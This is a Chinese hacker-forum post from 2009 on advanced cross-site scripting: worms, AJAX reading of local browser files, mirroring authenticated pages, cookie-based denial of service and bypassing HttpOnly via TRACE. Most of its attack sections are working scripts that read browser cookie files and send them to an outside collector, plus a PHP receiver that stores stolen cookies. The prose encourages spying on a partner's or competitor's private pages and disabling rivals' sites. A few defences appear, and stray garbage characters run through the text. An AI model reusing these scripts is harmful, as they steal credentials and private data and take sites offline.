XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
' n+ g% c! p( A- ?9 t本帖最后由 racle 于 2009-5-30 09:19 编辑

/ `" B, {( C4 G) a% r! R' U" lXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
2 i$ j/ U# V' @% q  T+ p; W4 D转帖请保留版权
8 l9 l7 `( D; o1 F  a8 W* k9 |
" q$ G2 V' r5 m* L
! @4 }7 g( g/ m6 j
-------------------------------------------前言---------------------------------------------------------


4 f. M- L% y3 `& x8 E本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
2 V# Z" @5 E5 d6 l
1 o) F# N' S" R6 @. P" D) s
2 s% k' t) F8 ]) T2 ?# w如果你还未具备基础XSS知识,以下几个文章建议拜读:
& D# x6 j% ?! uhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
& V% S( H- d8 j( Ahttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
/ Q5 E/ B' M* M% J( shttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
. @9 s5 N* e1 Qhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
. v$ \" j; N" W5 p$ Rhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
/ e0 Q: m9 X* {7 S+ f3 s' `) Vhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
! t, d/ C7 N2 C

) S- A' ~( W9 K. G

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

3 W1 D8 d" n. r5 A2 x. `希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
( G" u7 W/ D) t; [
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
) S' ?8 b" `8 y  u; i
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

1 ~* g7 ?8 j* N. G, K; H/ ?QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
# `. @1 c0 Q% C9 W/ i
..........
复制代码------------------------------------------介绍-------------------------------------------------------------

9 T& U* \+ s/ x. ~, f( U; {$ S5 Z8 k什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

& R2 X0 u5 j# y5 V- _3 @

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

3 ?1 S3 j% \* @/ J

9 _9 q9 r! N5 W如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
% u# ?4 W$ Z. Y( j我们在这里重点探讨以下几个问题:

+ T- [3 k" O5 F: o1        通过XSS,我们能实现什么?
4 X) j1 n" X1 e/ n$ `: D/ P9 I
* w" a$ ~+ J  h# x; B! k2 `. q2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
8 E( f1 E! j' Q# N
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

( ^$ b* r+ s+ P& \1 v4        XSS漏洞在输出和输入两个方面怎么才能避免.



8 |  g" f  u  y- K1 a7 {------------------------------------------研究正题----------------------------------------------------------
4 ~7 y1 r, X  n7 h


通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
4 R, q0 W! |: A5 E1 o1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
) \* z; ~! p( _. M: D, |" V2 I3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.

4 C) p( P. e, J8 f' _

' |1 c# a) N; B6 }: u
5 R" @8 Y- E; l( r9 l. @' z
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
* r" b% I4 [* y: B  Q
' T( }" w4 W: Q# S我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


- s( O! T0 p! k$ [' ^3 j
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


" N. G- b! x0 v6 h/ a& i: p
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
7 b% M# q5 f( u5 r/ y) S
/ e4 F1 v7 ~) {& V7 s7 G
7 g/ h) L$ x. r; ~3 ]% P- {3 U
  p5 r; y& J% ]+ t    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
  G& {' ]5 {( K" |; p复制代码IE6使用ajax读取本地文件    <script>
+ P* R( |0 T9 u/ x
- q) o+ u! O9 E9 a2 R    function $(x){return document.getElementById(x)}
& ]" x! f- ?# t: T$ G1 {4 K

; F5 Y' e9 ~! C: t3 X8 F/ O( E4 ^
    function ajax_obj(){

7 A# J: f, P* s; l1 u& F* X) n    var request = false;

    if(window.XMLHttpRequest) {
- o& Y- `% i# F# w
    request = new XMLHttpRequest();
* U. Y. U* S1 U5 }# P6 B0 A2 F% q( [
    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

& w) q4 ^) v& Q8 n5 ^
3 M4 b. A5 V& o0 ]4 E7 Z
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 P# A" F) c# ^9 k5 r% K
  V8 v; i0 Y3 M- p    for(var i=0; i<versions.length; i++) {

8 a* P6 S. R5 L    try {
( t$ ^) Z0 _  a4 Z; C- e" ?; Y
    request = new ActiveXObject(versions);
4 g3 S& D" u3 E# R7 j$ {
, @) u& o& v. e    } catch(e) {}

# l, |6 o0 V5 g( k) P, o( Z    }

& S, V) S% H: d5 A    }
2 Q( z0 q: e7 ^4 N- i/ Y7 Q. H
. Y! T: _9 b8 E. S. l1 ]' Z    return request;
8 G% W0 m2 G5 v9 q) o
: w8 s% u: i, d2 ?! p% \( ]    }

& |4 e5 d; K& y    var _x = ajax_obj();

) W" Q6 T# j0 O    function _7or3(_m,action,argv){
) S) E8 x' h: W& Q. s, Z
- `2 ~  F" r' @$ e1 p1 K: F    _x.open(_m,action,false);
& I; a3 X3 w* c; l3 D; V$ W
3 X* R( ]0 U6 a, R* P    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
2 x% W* A' ^5 q( W5 h
2 [# J7 z( Y: i: v2 B8 v    _x.send(argv);
/ ^# J2 m- B5 R5 `
1 [6 R: `( ?6 B3 ~$ @' f    return _x.responseText;

2 v1 u5 a- T- n6 j) Z5 _    }
: p0 Y! S2 Q- _/ o" d
: l  H+ z* a5 X8 Z0 D) M9 H/ `

- x7 a+ s. a8 p* [+ _' N    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

- x9 _  z! |- P: X    alert(txt);

# X* {0 j, D" D% x3 `) g& t: t4 r- ?) i
: T" y9 b, ~* i/ h9 _
* v4 `# X/ O7 @; a! h    </script>
8 R& P) x3 C, }3 h0 j0 O! c复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
! k% H( x8 F2 t/ S) u

* Y# j$ W. s& Y# X( r3 A3 G9 T
    function ajax_obj(){

    var request = false;
0 T4 Q3 C7 |4 k; a" ]
    if(window.XMLHttpRequest) {

3 L% V8 G0 t" [% x' v3 q    request = new XMLHttpRequest();
9 k6 E0 a! |( ]9 B* T
' ?  V. h4 C. m# f/ x0 x7 Y/ ]    } else if(window.ActiveXObject) {
3 m# H$ }5 h6 L$ o* P
8 s" N: ~) Q, x/ x5 [    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
' C1 r* I: ]' `; ~9 l" m) _7 Y


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* g6 p3 m8 _# N
  g+ y( P; B+ n+ u    for(var i=0; i<versions.length; i++) {

    try {
6 Y' c& P' I5 S1 U. x. h
" ^  q  t- u+ _: Q- P0 S5 S% x$ |7 h" w    request = new ActiveXObject(versions);
/ g  O; {2 n# b/ I& E7 P/ l& G
# p# l& g- D* P% u/ I4 `    } catch(e) {}
9 f: P$ {! F4 s3 G* t
7 f9 V( P6 T' j  S    }

( _& R, |, {% M    }

- f  U% L7 b* _0 v    return request;

) N* G% }  W5 B, k* e% j9 k( A    }

    var _x = ajax_obj();

, f0 N1 E+ v- M* ~( C1 {- J    function _7or3(_m,action,argv){
! D; \  W& |& K% q- ~) Y; @
8 B; f  K% O8 ?1 U4 S! \& P; J    _x.open(_m,action,false);
8 u6 ?7 P. M! e% {
, |' @" m8 C& I  V    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
' H. C( k7 i. p( n3 x
    _x.send(argv);

    return _x.responseText;
1 T$ G7 D) X( V7 n
$ L0 ?7 k' W  `5 R8 \% R    }


4 R. k; `: e5 c/ f$ C- l, W: m' Q
    var txt=_7or3("GET","1/11.txt",null);

/ J* r; D( F+ O- J! o5 Z    alert(txt);
8 b  w6 G/ ], v/ r9 j; H- }$ ^$ m* i
* a# D! V/ e4 C
9 o: L- E3 C2 f/ i: y
0 m- e: _, T9 [3 [    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


$ e+ ~( W& r5 A! k
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
7 i' N0 n/ Q2 Y  N- P' E. |

3 [* c) \3 s$ s6 ?% x
9 U' S" _4 h6 c' E) [4 Q. K3 M3 Z<?   

/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
2 v% p: q7 ]) o+ E/ k) k$ s
. m: S2 z0 x) g& S- h     www.inbreak.net   
( }+ O0 |' r% r$ H( k) B
( ?( f: f- @  i9 V4 ^( x     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

; x: O2 K4 W: G9 V6 ]4 Y$ S*/  
! k/ A9 p, M3 @3 v$ h. e0 D
header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

) e5 b) l" [  i! v/ C2 v. D4 F/*  
3 s& Y- V* v" k9 I6 a# u8 j- V
. e, y$ ]7 `& Q/ Z! E     set header, so just download html file,and open it at local.  

*/  

?>   
3 f& `, ]9 ?9 U( }# U- I
9 Y- U2 Q+ g" V<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
8 f* ?* T) {! h' f- w/ @. u, U
     <input id="input" name="cookie" value="" type="hidden">   
% k+ g/ l$ L: y. }5 Q1 K3 f% i( R
+ ]9 z& Z+ t( P" F! K) o5 G: X. K</form>   

, c! p' l* R8 c( J<script>   

function doMyAjax(user)   
# p4 H7 G, @$ ]8 ^
, |" J7 Z# `6 F/ O{   
0 |9 O4 A9 k9 b* E1 O/ J
var time = Math.random();   

( M; r& i6 e. P. u. E  c/*  
1 V1 o# S' N" N3 i8 j) Q, s
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
2 s, |3 ?( ]( p, r9 D. n' N8 \+ ^$ W: _
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
+ w# }( v! `  U
6 g% L( V" d! d' f$ a# e*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
2 h* S& E/ n6 F
   

. A& f; [* `' U) w- istartRequest(strPer);   
. h9 c4 q/ f/ g% u  N- S2 L+ i& C/ F
( z% c- |1 o2 ]% C

% V( |9 s* d, x; P, N7 R. L; I6 s3 r}   

   

% I6 x) E( V, j1 nfunction Enshellcode(txt)   
( p# d$ X( [. j) x3 p
# u( n4 X) }8 w( r$ C3 m{   
8 i: B. h1 d/ t# N" l( |
; s2 j& Y& o" U$ Cvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   
! |3 l9 E# s5 w6 A0 {$ n6 Z) X$ {# {
for(;i<l;i++){   

k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

2 E% t! v4 D, n& [( I- hcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
( j/ Z0 q, S. r' l$ e+ k
8 ]. h9 d" C* H# e7 c  |return curl;   
" T8 g" X. q1 w" f
' \$ F6 n7 s% j" j, b; t}   

   

4 z9 |6 {1 @3 X   

var xmlHttp;   
7 X# C9 v6 U, X! ]5 q6 O7 a
function createXMLHttp(){   

; |: K! E1 K, E/ Q2 Z6 [: q) u" A     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
7 s1 q) B3 ~2 m/ Y' g1 y
     }   
0 l8 X+ }4 F1 F. F) I
     else if(window.ActiveXObject){   

" S. \; k9 H1 p# l' j5 YxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
9 _) K* B  i" G  O9 ^: m
}   

   
' y% d1 J8 R  |/ j" r$ W9 `9 m. ?
3 c. l' `# B8 g- Ffunction startRequest(doUrl){   
2 W. K: V( m+ [
4 V. R: C3 G) D6 L$ y7 e5 @+ f+ J   

% `2 j! W' o5 V! N     createXMLHttp();   

/ O; l; k  I. E7 c5 ]
. }+ s2 U9 B4 _% a* n6 T2 n8 l
     xmlHttp.onreadystatechange = handleStateChange;   

* I' c) |. B1 y1 D, h7 t

" E3 g+ P; \* z* F6 K     xmlHttp.open("GET", doUrl, true);   
; |5 p# N; G4 `; |6 }# |


9 M/ f. C* @+ G$ J     xmlHttp.send(null);   
0 H: \9 @/ X) j1 r# ~




}   
1 h' I. h( P  `* g+ X. b$ C% u
   

function handleStateChange(){   

/ P( S1 N: s  T. U+ B5 \' y     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

" K) F2 c: K8 e6 v) O6 n7 Z     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
. M, p$ [( _* Z9 Y
        

     }   
. Y+ F$ V0 H' q4 }; H5 [
5 Y7 k  o& ]  D8 f* }* y% l}   
% H- K& U( }/ ?( K
6 F- D) x4 v: z, D+ A# A; k   
* N- @! j8 x: V' S. H
# y& O  n1 `2 I& ]' g   
7 D( {7 |5 U* `/ F
7 `, c% S, a4 @4 z) t7 Ufunction framekxlzxPost(text)   
9 Q/ o; N( p( X. J$ t1 J8 ~1 j
{   

     document.getElementById("input").value = Enshellcode(text);   
% l/ [. {0 V) ~0 F0 i
# V) D. r1 i: b% W. `* B     document.getElementById("form").submit();   
; t% C6 i! G: F1 T) Z$ a0 D
}   
- o) o* n) A8 l7 H  w7 N
* C0 ~8 M3 d! U& L' u   

doMyAjax("administrator");   

   

: a- f) D  `2 L8 j' N" I. b</script>
& B; f7 {- q: B+ c& `* g. i; p复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
, |/ |" ?/ A  R* B8 y: s9 {7 f
  P! {" A2 f3 }' Uvar xmlHttp;  
% \% {5 O8 C% p) p$ B/ v
function createXMLHttp(){  
! ]3 O& \% U" ]0 [5 E9 Y- ?
     if(window.XMLHttpRequest){  
3 C. k+ A) B# m, Q& [
         xmlHttp = new XMLHttpRequest();         
$ f9 P7 z9 g& m: e1 g0 D
: R) t& @9 |7 y+ p! B3 }     }  
! D% o5 W9 J1 O* ?' C! W, ~
     else if(window.ActiveXObject){  
& _6 }8 y, j. O9 P1 t
5 D* i1 x8 ]4 `5 ?( l         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

# S9 Z. N1 @% i- I) j     }  

}  

3 p3 q7 D7 \" y3 R( s6 x   
' z6 I2 w4 B5 C3 T7 l# _; D' v
function startRequest(doUrl){  

9 y) P( o' f) G! v2 [           

0 T, a3 t6 [# ^  k     createXMLHttp();  

      

     xmlHttp.onreadystatechange = handleStateChange;  

      
- B4 t2 i1 x# ~1 m9 g& }( n
     xmlHttp.open("GET", doUrl, true);  

# \: A  C; ~( t9 m# Q, ]% D      

     xmlHttp.send(null);  

. ?4 f# e8 Q) Q5 h( U      
# s) I1 b0 e2 r8 v
      

}   

# f+ x. s% |0 ^" p4 @+ J   
2 N. j( Z- D5 g+ w6 E
# x; w. F0 F1 m4 N( Zfunction handleStateChange(){  
* o  I) C7 n  v" G
- g$ w3 H% _9 K" g8 c     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

4 h( O5 U& T" A4 Q               

     }  
. d( o3 g6 j/ Z7 l# J( c
}  
. ^8 E" i% ~# M. G4 X, A
   

$ e7 D% @( v2 N7 Efunction doMyAjax(user,file)  

{  

         var time = Math.random();  

           

' o$ O7 o4 k3 f: O         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

# @9 b4 t- [6 K/ m1 Y! P; H* M           

         startRequest(strPer);  

; N) f7 |/ A, ^1 ^      

}  

   

function framekxlzxPost(text)  

{  
! A1 Y3 V2 z( v) L2 L
$ h$ O/ K- n0 U4 |% W' g* A7 Y     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

* c& z, B1 u! ~     alert(/ok/);  
: u7 Q% V- }) a) L" B& T- N% F
}  
& i  G0 I2 y' Q1 E- }8 H/ `
1 [; h3 |# L- ^9 B5 V0 g% |4 q   

/ t0 K- Z" b: z$ j. b, CdoMyAjax('administrator','administrator@alibaba[1].txt');  
  ?. O' U( X9 W. D( Y, z  c
   

</script>
9 w5 Y  d6 }0 E! Z5 W
$ G& h  _0 `' S8 \
+ f6 u: t8 |- l% m+ K/ l  C* _8 w' E

* ~  O; O4 `7 [' z" i3 Q7 Y
, O( ~% l0 K" g* y7 ma.php
( o7 g' g6 E8 z( d9 c


<?php      
2 M- ?. \6 \& U/ S+ R
1 t- @% Q" g2 Y" @" V" w" b8 u8 s   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
4 e6 t1 i/ M/ V$ [% W' i$ P
7 i4 ~; _9 a" t; X1 t) ]$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
5 v  R, b* m; M9 v% D$ [* @
8 Q9 G' `! C) h9 h7 f$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      

fclose($fp);   
4 f1 u0 u' H0 W+ L1 w8 c5 N3 I, V5 d$ ~
?>
/ n, k/ p3 `* l: {/ F0 b复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

' ]# y1 Y# O4 ~; H" p: Q. X或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
' h  n. X% D8 ?利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
! ]. g2 \  W* g+ r
* {. ~# y; f3 p' A' K- B$ L代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
/ W) z9 ?, L: m& V
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

' W: n+ y4 Q7 h' y9 I7 }function getURL(s) {

5 f& K- S9 f, svar image = new Image();

image.style.width = 0;
  t( |1 r- L3 B( {! s6 e0 a. }
/ q* s% D. o( x; n  d, [image.style.height = 0;
) r" A# o" z$ p0 u+ p
image.src = s;

% P4 [6 x' p! y7 W}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
  U% ]- j) d$ d2 b复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
  x* s% ^4 K3 F2 i$ t! U这里引用大风的一段简单代码:<script language="javascript">
; p4 d% W3 U1 M" b, l
$ d" p( P. r4 ]: Tvar metastr = "AAAAAAAAAA"; // 10 A

# H; N/ }) `) A9 X( Tvar str = "";
* B( V$ y( \7 S  u5 T" J' T
% ^; i, t  {: q5 L, t% e, ywhile (str.length < 4000){
% J) g7 ^* ]$ x, M' _
    str += metastr;
( F1 l5 E- u! D/ a
, x* c& r1 [  Z" _7 G- e' I}


$ u0 a% y& G" Y6 F: Z$ ^
/ s7 }7 l$ @0 `: L* Mdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
9 x% }3 k1 ^' _
" J  F6 F8 ^0 i9 _/ \</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
( X7 d# u- S' x9 iserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

4 `2 N1 d$ P; ~. r$ Z假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
) E' Q! e2 @) [0 Q* D

9 `* T2 d, R3 S+ z0 x



; E2 b8 e7 {: x9 e* ]6 A' m+ c(III) Http only bypass 与 补救对策:

; Z8 `4 ^. `3 K& X- @什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
* C, g: i/ o8 I! T" @, J, m3 Q
5 M* j: z# _/ c5 q<!--
% l! c  N* d/ I2 [
4 D: s/ F$ U% N, p$ G8 ]! qfunction normalCookie() {
" W% ^. H+ `. W5 s' v' t9 C
( u, \0 t5 U: e* p- f, Pdocument.cookie = "TheCookieName=CookieValue_httpOnly";

& \+ ], `. p% ]/ F  p, U7 T6 @alert(document.cookie);

) @2 X. S- v/ e9 S- _}

5 B' Z# s* P$ N, o

  S* O& ?% J" `. `5 X- ]9 I
1 k9 Y) b0 B+ O4 V/ P4 b+ G  ?
function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}
0 ]8 g' L6 X$ g& H2 z
6 b2 k  x/ d$ d+ v

$ n) k, {% U- u5 ?3 K  ?( a/ Q//-->
2 Y. H  |. j# F6 z) G9 J
</script>
2 G0 E$ y7 Q) ~4 j


* g1 Q7 d7 F3 x. s1 Z5 X<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

) `$ Z3 E1 ^, b& a/ @<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
/ {) h" B$ E$ o& d9 D复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


9 q9 H) \  P1 [+ g8 d7 ^
3 @  a5 _, i- x8 ~) }3 ~var request = false;

" A9 r9 F6 y0 y        if(window.XMLHttpRequest) {
! x- L4 P& J0 |& t% j
( }+ ^& P, F0 N5 M' [# v! @4 Y2 k            request = new XMLHttpRequest();
7 c/ _& v" E9 x1 k
# q! c% Q5 e( T% g4 [& e2 L1 N            if(request.overrideMimeType) {

$ }* F- }& S$ |. ~* B; `                request.overrideMimeType('text/xml');

            }

# H4 C; {2 S" O# j        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* k# m9 z9 c/ L: c, H3 u
            for(var i=0; i<versions.length; i++) {
! I' m* D2 ~/ p" j2 s: M# _
# h+ t3 W- L. |                try {

                    request = new ActiveXObject(versions);
0 _+ g" A5 C; @9 O: F* f( N
                } catch(e) {}

/ `8 V( \; N  w8 t- Z            }
  }* j$ A8 @% h$ O6 u3 y
/ ?- z7 V4 z2 W" T# y        }
  D" h7 J8 W" E2 R6 Q7 {) w- \
5 Q  Z8 @/ F! ~2 k) a" U8 vxmlHttp=request;
, U/ u1 [! ~) P* Q+ o8 ~% {
xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

% V/ ?9 |* i, e+ kxmlDoc=xmlHttp.responseText;

alert(xmlDoc);

3 {+ p6 i) {- _7 S- Q8 Z</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
0 J6 V' ~+ a: W! Y1 [2 w' I* v
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

: v& b/ A: C. d: ~8 @8 l3 K: T6 LXmlHttp.open("GET","http://www.google.com",false);

7 k8 X3 t3 q% O7 ?; l1 ~: GXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

; h/ W9 b. m6 hXmlHttp.send(null);

; D4 H& x% \/ y4 W3 Z0 |var resource=xmlHttp.responseText
# j% {5 }/ f( n! @4 }8 u; H& b! y
% o" g- \4 r- {3 c% bresource.search(/cookies/);
7 _, X5 {) i) H) i1 n$ d
6 w0 ?7 l) h, J1 D0 S1 }- m......................
: e! D8 c2 ^2 }7 \$ ~
# [! L/ E2 {! B3 ^! v" ^</script>

/ |) \/ ^% k3 g5 Y+ w9 Y6 ~


* `: d& d& O% w
# E/ a! R6 y1 N$ K# ?7 }; B如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

; n1 o; r; G: J( ~9 N: i' Y+ j( ][code]
3 r" A7 d/ Q" n5 V- `
, h+ }" ?, k# a0 l. `RewriteEngine On

( |) {; }6 r4 j; HRewriteCond %{REQUEST_METHOD} ^TRACE
( s# S9 p& s. s0 Y& d
, ]5 E# C( [+ q$ |# h6 e- TRewriteRule .* - [F]

! B+ |5 n4 ~  U: {* N

% j3 M! ]! B2 T; s- T/ ZSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
9 N& o* O9 U/ v' m5 N. `
acl TRACE method TRACE
5 e/ r* J: J& X: r3 V! G. p! Q
7 O1 H9 \- B9 W...
3 G( J4 k! K& D3 `9 Q4 M
4 {, c* L% V( lhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
- K. L( C' \! @
